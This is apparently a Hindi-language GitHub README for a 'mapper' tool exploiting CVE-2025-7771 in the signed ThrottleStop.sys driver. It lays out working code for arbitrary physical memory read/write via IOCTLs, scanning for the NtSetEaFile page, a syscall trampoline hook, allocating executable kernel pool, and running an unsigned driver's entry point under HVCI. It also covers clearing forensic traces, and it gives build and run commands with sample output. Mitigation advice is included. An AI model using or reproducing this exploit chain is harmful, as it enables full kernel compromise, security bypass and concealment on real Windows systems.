🔓 ThrottleStop.sys कर्नेल एक्सप्लॉइट — HVCI-संगत भौतिक मेमोरी मैपर

CVE-2025-7771 — ThrottleStop.sys IOCTLs के माध्यम से मनमानी भौतिक मेमोरी पढ़ना/लिखना

⚠️ अस्वीकरण

यह परियोजना केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए प्रकाशित की गई है। इसका उद्देश्य यह प्रदर्शित करना है कि कैसे एक हस्ताक्षरित, विश्वसनीय कर्नेल ड्राइवर का उपयोग स्थानीय विशेषाधिकार वृद्धि (LPE) के लिए किया जा सकता है, प्रशासक से SYSTEM/कर्नेल तक, और प्रभावी रूप से आधुनिक Windows सुरक्षा सुविधाओं जैसे HVCI (हाइपरवाइज़र-प्रवर्तित कोड अखंडता) और सिक्योर बूट को बायपास किया जा सकता है।

इस उपकरण का दुर्भावनापूर्ण उद्देश्यों के लिए उपयोग न करें। लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है।

📋 विषय सूची

• भेद्यता सारांश
• प्रभावित सॉफ्टवेयर
• तकनीकी विश्लेषण
  • कमजोर IOCTLs
  • मूल कारण
• शोषण श्रृंखला
  • चरण 1 — कमजोर ड्राइवर लोड करना
  • चरण 2 — भौतिक मेमोरी प्रिमिटिव
  • चरण 3 — सिस्कॉल पृष्ठ ढूंढना
  • चरण 4 — भौतिक लेखन के माध्यम से सिस्कॉल हुकिंग
  • चरण 5 — मनमाना कर्नेल कोड निष्पादन
  • चरण 6 — फोरेंसिक सफाई
• यह HVCI को क्यों बायपास करता है
• प्रभाव आकलन
• निर्माण और उपयोग
• शमन अनुशंसाएँ
• संदर्भ

भेद्यता सारांश

प्रभावित सॉफ्टवेयर

• ThrottleStop — सभी संस्करण जो ThrottleStop.sys को भौतिक मेमोरी मैपिंग IOCTLs के साथ शिप करते हैं
• Windows 10 1903 – 22H2 (x64)
• Windows 11 21H2 – 24H2 (x64), HVCI सक्षम के साथ बिल्ड सहित
• परीक्षण किया गया: Windows 11 26100.x (24H2) सिक्योर बूट + HVCI के साथ

तकनीकी विश्लेषण

कमजोर IOCTLs

ThrottleStop.sys कर्नेल ड्राइवर एक डिवाइस (\\.\ThrottleStop) को उजागर करता है जो किसी भी स्थानीय प्रशासक के लिए सुलभ है। यह दो IOCTLs लागू करता है जो अप्रतिबंधित भौतिक मेमोरी एक्सेस प्रदान करते हैं:

#define IOCTL_TS_READ_PHYS   0x80006498   // मनमाना भौतिक पता पढ़ें
#define IOCTL_TS_WRITE_PHYS  0x8000649C   // मनमाना भौतिक पता लिखें

भौतिक मेमोरी पढ़ें (0x80006498)

इनपुट:  ULONG64 PhysicalAddress  (8 बाइट्स)
आउटपुट: डेटा बफर              (प्रति कॉल 1–8 बाइट्स, OutputBufferLength द्वारा निर्धारित)

ड्राइवर अनुरोधित भौतिक पते को कर्नेल वर्चुअल स्पेस में मैप करने के लिए MmMapIoSpace() को कॉल करता है, डेटा को आउटपुट बफर में कॉपी करता है, फिर MmUnmapIoSpace() को कॉल करता है। भौतिक पते पर कोई सत्यापन नहीं किया जाता है — भौतिक पता स्थान में किसी भी पते को पढ़ा जा सकता है।

भौतिक मेमोरी लिखें (0x8000649C)

इनपुट:  ULONG64 PhysicalAddress (8 बाइट्स) + डेटा (1–8 बाइट्स)
        InputBufferLength = 8 + DataSize
आउटपुट: कोई नहीं

पढ़ने के समान तंत्र, लेकिन मैप किए गए भौतिक पते पर उपयोगकर्ता-आपूर्ति डेटा लिखता है। फिर से, कोई पता या श्रेणी सत्यापन नहीं।

मूल कारण

ड्राइवर को ThrottleStop (एक CPU अंडरवोल्टिंग/थ्रॉटलिंग उपयोगिता) को सीधे MSRs और हार्डवेयर रजिस्टरों को पढ़ने/लिखने की अनुमति देने के लिए डिज़ाइन किया गया था। भौतिक मेमोरी IOCTLs को संभवतः PCI कॉन्फ़िगरेशन स्पेस या CPU थर्मल सेंसर के MMIO एक्सेस के लिए जोड़ा गया था, लेकिन कार्यान्वयन शून्य सीमा जाँच करता है:

1. ❌ कोई जाँच नहीं कि भौतिक पता MMIO बनाम RAM का है
2. ❌ कोई जाँच नहीं कि पता कॉलर के इच्छित मेमोरी क्षेत्र के भीतर है
3. ❌ GENERIC_READ | GENERIC_WRITE हैंडल एक्सेस की आवश्यकता के अलावा कोई ACL प्रतिबंध नहीं
4. ❌ अनुमत भौतिक पता श्रेणियों की कोई अनुमति सूची नहीं

यह एक वैध हार्डवेयर उपयोगिता ड्राइवर को पूर्ण कर्नेल-स्तरीय पढ़ने/लिखने की प्रिमिटिव में बदल देता है।

शोषण श्रृंखला

शोषण श्रृंखला एक स्थानीय प्रशासक खाते से मनमाना कर्नेल कोड निष्पादन तक बढ़ जाती है, प्रभावी रूप से SYSTEM-स्तरीय रिंग-0 नियंत्रण प्राप्त करती है।

चरण 1 — कमजोर ड्राइवर लोड करना

मैपर ThrottleStop.sys को %TEMP% में ड्रॉप करता है, HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop के तहत एक सेवा रजिस्ट्री प्रविष्टि बनाता है, और इसे NtLoadDriver() के माध्यम से लोड करता है:

// वर्तमान प्रक्रिया के लिए SeLoadDriverPrivilege सक्षम करें
driver::util::enable_privilege(L"SeLoadDriverPrivilege");

// ड्रॉप की गई .sys फ़ाइल की ओर इशारा करते हुए सेवा प्रविष्टि बनाएं
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");

// NtLoadDriver के माध्यम से लोड करें
NtLoadDriver(&driver_reg_path_unicode);

// डिवाइस हैंडल खोलें
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);

नोट: चूंकि ThrottleStop.sys वैध रूप से हस्ताक्षरित है, यह HVCI/सिक्योर बूट सक्षम होने पर भी लोड होता है। Windows CI नीति प्रमाणपत्र पर भरोसा करती है।

चरण 2 — भौतिक मेमोरी प्रिमिटिव

डिवाइस हैंडल के साथ, शोषण सिस्टम पर किसी भी भौतिक पते को पढ़/लिख सकता है:

// भौतिक पता 0x1000 से 8 बाइट्स पढ़ें
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);

// भौतिक पते पर 8 बाइट्स लिखें
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr;      // पता
*(ULONGLONG*)(input + 8) = shellcode_qword; // डेटा
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);

शोषण इन्हें हेल्पर फ़ंक्शंस में लपेटता है जो मनमानी-लंबाई स्थानांतरण के लिए खंडित पढ़ने/लिखने (प्रति कॉल 1, 2, 4, या 8 बाइट्स) को संभालते हैं।

चरण 3 — सिस्कॉल पृष्ठ ढूंढना

मनमाना कर्नेल फ़ंक्शन निष्पादित करने के लिए, शोषण को एक कर्नेल सिस्कॉल हैंडलर का भौतिक पता खोजने की आवश्यकता होती है। यह NtSetEaFile (एक शायद ही कभी निगरानी किया जाने वाला सिस्कॉल) को लक्षित करता है:

1. RVA हल करें: LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES) के माध्यम से usermode में ntoskrnl.exe लोड करें, NtSetEaFile का RVA प्राप्त करें
2. ऑफ़सेट की गणना करें: चूंकि ntoskrnl 2MB बड़े पृष्ठों के साथ मैप किया गया है, एक 2MB पृष्ठ के भीतर फ़ंक्शन का भौतिक ऑफ़सेट = RVA & 0x1FFFFF
3. भौतिक मेमोरी स्कैन करें: रजिस्ट्री (HARDWARE\RESOURCEMAP\System Resources\Physical Memory) से भौतिक मेमोरी श्रेणियों की गणना करें, 2MB द्वारा कदम बढ़ाएँ, और बाइट्स की तुलना करें:

for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
    candidate_pa = phys_2mb + offset_in_2mb;
    read_phys(candidate_pa, &first8, 8);
    if (first8 == pattern_first8)  // त्वरित जाँच
    {
        read_phys(candidate_pa, verify, 32);  // पूर्ण सत्यापन
        if (memcmp(verify, pattern, 32) == 0)
        {
            syscall_phys_addr = candidate_pa;  // मिल गया!
            // ... PsGetProcessSectionBaseAddress के माध्यम से मान्य करें
        }
    }
}

4. मान्य करें: हुक किए गए सिस्कॉल को कॉल करें ताकि PsGetProcessSectionBaseAddress(current_pid) को लागू किया जा सके और सत्यापित किया जा सके कि लौटाया गया बेस GetModuleHandle(NULL) से मेल खाता है।

चरण 4 — भौतिक लेखन के माध्यम से सिस्कॉल हुकिंग

एक बार NtSetEaFile का भौतिक पता ज्ञात हो जाने पर, शोषण सीधे भौतिक मेमोरी लेखन के माध्यम से 12-बाइट ट्रैम्पोलिन स्थापित करता है:

; मूल NtSetEaFile बाइट्स (पुनर्स्थापना के लिए सहेजे गए)
; इसके साथ बदला गया:
mov rax, <target_kernel_address>   ; 48 B8 <8-byte imm64>
push rax                            ; 50
ret                                 ; C3

// हुक स्थापित करें
unsigned char jmp_code[12] = {
    0x48, 0xB8,                           // mov rax, imm64
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // <लक्ष्य पता>
    0x50,                                 // push rax
    0xC3                                  // ret
};
memcpy(jmp_code + 2, &target_function, 8);
write_phys(syscall_phys_addr, jmp_code, 12);

// usermode से ट्रिगर करें
NtSetEaFile(args...);  // → कर्नेल में target_function पर कूदता है!

// मूल बाइट्स पुनर्स्थापित करें
write_phys(syscall_phys_addr, saved_bytes, 12);

मुख्य अंतर्दृष्टि: भौतिक पृष्ठ पर लिखना HVCI की वर्चुअल मेमोरी सुरक्षा को बायपास करता है। HVCI W+X वर्चुअल पृष्ठों को रोकता है, लेकिन ड्राइवर में MmMapIoSpace के माध्यम से भौतिक मेमोरी लेखन सीधे RAM में जाता है।

चरण 5 — मनमाना कर्नेल कोड निष्पादन

सिस्कॉल हुक प्रिमिटिव के साथ, शोषण मनमाना तर्कों के साथ किसी भी कर्नेल फ़ंक्शन को कॉल कर सकता है:

// निष्पादनीय कर्नेल मेमोरी आवंटित करें (HVCI-संगत)
auto pool = syscall<ExAllocatePool2>(ExAllocatePool2_addr,
    POOL_FLAG_NON_PAGED_EXECUTE, size, tag);

// ड्राइवर इमेज को RtlCopyMemory के माध्यम से कर्नेल पूल में कॉपी करें
syscall<memcpy>(RtlCopyMemory_addr, pool, image_data, image_size);

// ड्राइवर के DriverEntry को कॉल करें
syscall<DRIVER_INITIALIZE>(entry_point, pool_base, image_size);

यह प्रभावी रूप से कर्नेल स्पेस में एक अहस्ताक्षरित ड्राइवर को मैप और निष्पादित करता है — पूर्ण विशेषाधिकार वृद्धि।

चरण 6 — फोरेंसिक सफाई

पेलोड लोड करने के बाद, शोषण सभी निशानों को मिटा देता है:

यह HVCI को क्यों बायपास करता है

HVCI (हाइपरवाइज़र-प्रवर्तित कोड अखंडता) दूसरे स्तर के पता अनुवाद (SLAT/EPT) के माध्यम से कर्नेल वर्चुअल पृष्ठों पर W^X (लिखें XOR निष्पादित करें) लागू करके कर्नेल स्पेस में अहस्ताक्षरित कोड को निष्पादित होने से रोकता है।

यह शोषण HVCI को बायपास करता है क्योंकि:

1. वैध ड्राइवर: ThrottleStop.sys ठीक से हस्ताक्षरित है और CI सत्यापन पास करता है, इसलिए यह HVCI सक्रिय होने पर भी सामान्य रूप से लोड होता है।

2. वर्चुअल पर भौतिक: IOCTLs MmMapIoSpace() का उपयोग करते हैं जो भौतिक पतों पर काम करता है। HVCI की सुरक्षा वर्चुअल पेज टेबल स्तर और EPT के माध्यम से लागू की जाती है, लेकिन MmMapIoSpace उपयुक्त अनुमतियों के साथ भौतिक पृष्ठ के लिए एक नया वर्चुअल मैपिंग बनाता है। सिस्कॉल के भौतिक पृष्ठ पर लिखना RAM सामग्री को संशोधित करता है जिसे मौजूदा वर्चुअल मैपिंग पहले से इंगित करता है।

3. निष्पादनीय पूल: शोषण ExAllocatePool2 के माध्यम से POOL_FLAG_NON_PAGED_EXECUTE के साथ मेमोरी आवंटित करता है, जो निष्पादनीय कर्नेल मेमोरी प्राप्त करने का एक वैध, HVCI-अनुमोदित तरीका है। कर्नेल स्वयं इसका उपयोग JIT-संकलित कोड और कुछ पूल आवंटन के लिए करता है।

4. कोई अहस्ताक्षरित ड्राइवर लोड नहीं: मैपर कभी भी किसी अहस्ताक्षरित इमेज के साथ NtLoadDriver को कॉल नहीं करता है। इसके बजाय, यह मैन्युअल रूप से पेलोड को पहले से निष्पादनीय कर्नेल पूल आवंटन में लिखता है और सिस्कॉल हुक के माध्यम से इसके प्रवेश बिंदु को कॉल करता है।

┌─────────────────────────────────────────────┐
│           Usermode (Admin)                  │
│                                             │
│  1. ThrottleStop.sys लोड करें (हस्ताक्षरित, भरोसेमंद) │
│  2. \\.\ThrottleStop डिवाइस खोलें            │
│  3. IOCTLs के माध्यम से भौतिक मेमोरी पढ़ें/लिखें │
└──────────────┬──────────────────────────────┘
               │ DeviceIoControl
               ▼
┌─────────────────────────────────────────────┐
│       ThrottleStop.sys (कर्नेल)            │
│                                             │
│  MmMapIoSpace(PhysAddr) → memcpy → unmap   │
│  कोई सत्यापन नहीं, कोई भी भौतिक पता ठीक है │
└──────────────┬──────────────────────────────┘
               │ भौतिक मेमोरी लेखन
               ▼
┌─────────────────────────────────────────────┐
│       NtSetEaFile भौतिक पृष्ठ               │
│                                             │
│  मूल बाइट्स इसके साथ अधिलेखित:             │
│  mov rax, <payload>; push rax; ret         │
│                                             │
│  → कोई भी usermode NtSetEaFile() कॉल अब     │
│    मनमाना कर्नेल कोड निष्पादित करता है      │
└──────────────┬──────────────────────────────┘
               │ कर्नेल कोड निष्पादन
               ▼
┌─────────────────────────────────────────────┐
│       पूर्ण कर्नेल समझौता                  │
│                                             │
│  • ExAllocatePool2 (निष्पादनीय पूल)        │
│  • अहस्ताक्षरित ड्राइवर को कर्नेल मेमोरी में मैप करें │
│  • DriverEntry कॉल करें → SYSTEM-स्तरीय पहुँच │
│  • सभी फोरेंसिक कलाकृतियों को मिटाएँ        │
└─────────────────────────────────────────────┘

प्रभाव आकलन

निर्माण और उपयोग

आवश्यकताएँ

• Visual Studio 2022 C++ डेस्कटॉप वर्कलोड के साथ
• Windows SDK 10.0.26100.0+
• लक्ष्य पर प्रशासक विशेषाधिकार

निर्माण

git clone https://github.com/<your-repo>/throttlestop-mapper.git
cd throttlestop-mapper
# Visual Studio में imxyviMapper.sln खोलें
# Build → x64 Release

चलाएँ

# मूल उपयोग — सिस्कॉल पृष्ठ के लिए भौतिक मेमोरी स्वचालित रूप से स्कैन करता है
mapper.exe payload_driver.sys

# पूर्व-गणना कर्नेल CR3 के साथ (तेज़, स्कैन छोड़ें)
mapper.exe payload_driver.sys 1AD000

आउटपुट

[+] ड्राइवर: 45056 बाइट्स
[*] PE पार्स किया जा रहा है...
[+] PE ठीक है: entry=0x3040 size=0xC000
[*] कमजोर ड्राइवर लोड किया जा रहा है...
[+] ड्राइवर लोड हुआ, हैंडल=0x0000000000000094
[+] IOCTL ठीक है
[*] सिस्कॉल पृष्ठ ढूंढा जा रहा है...
[+] सिस्कॉल पृष्ठ मिल गया
[*] आयात ठीक किए जा रहे हैं...
[*] निष्पादनीय कर्नेल पूल आवंटित किया जा रहा है (49152 बाइट्स)...
[+] पूल यहाँ आवंटित: FFFFA40B7C8E0000
[*] ड्राइवर को कर्नेल में लिखा जा रहा है...
[*] प्रवेश बिंदु 0xFFFFA40B7C8E3040 पर कॉल किया जा रहा है...
[+] प्रवेश बिंदु लौटा
[*] MmUnloadedDrivers साफ़ किया जा रहा है...
[+] MmUnloadedDrivers सफलतापूर्वक साफ़ हो गया
[*] कमजोर ड्राइवर अनलोड किया जा रहा है...
[+] हो गया

शमन अनुशंसाएँ

Microsoft / Windows के लिए

1. ड्राइवर ब्लॉकलिस्ट: ThrottleStop.sys हैश को Microsoft कमजोर ड्राइवर ब्लॉकलिस्ट में जोड़ें
2. HVCI संवर्द्धन: गैर-अनुमत सूचीबद्ध ड्राइवरों से RAM-समर्थित भौतिक पतों को लक्षित करने वाले MmMapIoSpace कॉल को ब्लॉक करें
3. IOCTL ऑडिटिंग: WHQL प्रमाणन के दौरान कच्ची भौतिक मेमोरी प्रिमिटिव को उजागर करने वाले ड्राइवरों को फ़्लैग करें

ThrottleStop डेवलपर के लिए

1. भौतिक मेमोरी IOCTLs हटाएँ — कच्चे MmMapIoSpace के बजाय MSR-विशिष्ट IOCTLs (rdmsr/wrmsr) का उपयोग करें
2. पता अनुमति सूची लागू करें — MmMapIoSpace को ज्ञात MMIO श्रेणियों (PCI BAR क्षेत्र, LAPIC, आदि) तक सीमित करें
3. ACL प्रतिबंध जोड़ें — डिवाइस एक्सेस को ThrottleStop एप्लिकेशन के टोकन SID तक सीमित करें

सिस्टम प्रशासकों के लिए

1. WDAC नीति: एक कस्टम Windows Defender एप्लिकेशन नियंत्रण (WDAC) नीति बनाएं जो ThrottleStop.sys को हैश द्वारा ब्लॉक करे
2. ड्राइवर लोड की निगरानी करें: Sysmon इवेंट ID 6 के माध्यम से असामान्य कर्नेल ड्राइवर लोडिंग पर अलर्ट करें
3. ThrottleStop हटाएँ यदि CPU प्रबंधन के लिए सक्रिय रूप से आवश्यक नहीं है

🏆 क्रेडिट और आभार

संदर्भ

• Demoo1337/ThrottleStop — CVE-2025-7771 PoC — मूल भेद्यता अनुसंधान और शोषण
• physmeme — भौतिक मेमोरी शोषण ढाँचा (MIT लाइसेंस, xerox/IDontCode)
• kdmapper — कर्नेल ड्राइवर मैपर
• Microsoft कमजोर ड्राइवर ब्लॉकलिस्ट
• HVCI डिज़ाइन अवलोकन — Microsoft
• MmMapIoSpace — Microsoft दस्तावेज़

लाइसेंस

यह परियोजना शैक्षिक अनुसंधान उद्देश्यों के लिए MIT लाइसेंस के तहत जारी की गई है। अंतर्निहित physmeme ढाँचा © 2020 xerox (MIT लाइसेंस) है।

🔬 जिम्मेदार प्रकटीकरण: यह भेद्यता Demoo1337 द्वारा खोजी गई और विक्रेता को प्रकट की गई। यह रिपॉजिटरी सुरक्षा अनुसंधान समुदाय के लिए दस्तावेज़ीकरण के रूप में कार्य करती है।